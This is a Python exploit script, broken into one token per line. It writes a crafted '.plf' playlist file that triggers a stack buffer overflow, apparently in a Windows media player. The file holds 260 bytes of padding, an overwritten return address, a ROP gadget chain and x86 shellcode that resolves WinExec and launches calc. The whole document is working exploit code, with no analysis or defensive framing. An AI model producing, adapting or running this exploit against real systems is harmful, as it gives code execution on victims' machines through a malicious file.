import
sys, struct
file
=
"calc.plf"
junk1
=
"\x41"
*
260
neweip
=
"\x5b\x51\x32\x60"
junk2
=
"\x41"
*
24
rop
=
"\x41\x47\x32\x60"
rop
+
=
"\xb5\x59\x33\x60"
rop
+
=
"\xf6\x07\x33\x60"
rop
+
=
"\x91\x11\x11\x11"
rop
+
=
"\x39\x03\x33\x60"
rop
+
=
"\x11\x11\x11\x11"
rop
+
=
"\xda\x6d\x32\x60"
rop
+
=
"\x7d\x41\x32\x60"
rop
+
=
"\xf6\x07\x33\x60"
rop
+
=
"\x47\x98\x31\x60"
rop
+
=
"\x47\x98\x31\x60"
rop
+
=
"\x51\x11\x11\x11"
rop
+
=
"\xf6\x07\x33\x60"
rop
+
=
"\x11\x11\x11\x11"
rop
+
=
"\x78\x8b\x30\x60"
rop
+
=
"\x8c\xf0\x33\x60"
rop
+
=
"\x41\x41\x41\x41"
rop
+
=
"\x0b\x17\x36\x60"
rop
+
=
"\xee\x78\x32\x60"
rop
+
=
"\x09\x48\x32\x60"
rop
+
=
"\x65\x08\x33\x60"
rop
+
=
"\xcc\x42\x05\x64"
rop
+
=
"\xed\xd6\x33\x60"
rop
+
=
"\xa2\x92\x32\x60"
rop
+
=
"\x90\x90\x90\x90"
rop
+
=
"\x28\xc3\x33\x60"
shellcode
=
(
"\x66\x81\xE4\xFC\xFF\x31\xD2\x52\x68\x63"
"\x61\x6C\x63\x89\xE6\x52\x56\x64\x8B\x72"
"\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30"
"\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78"
"\x8B\x74\x1F\x20\x01\xFE\x8B\x4C\x1F\x24"
"\x01\xF9\x42\xAD\x81\x3C\x07\x57\x69\x6E"
"\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"
"\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7\xCC"
)
exploit
=
junk1
+
neweip
+
junk2
+
rop
+
shellcode
writeFile
=
open
(
file
,
"w"
)
writeFile.write(exploit)
writeFile.close()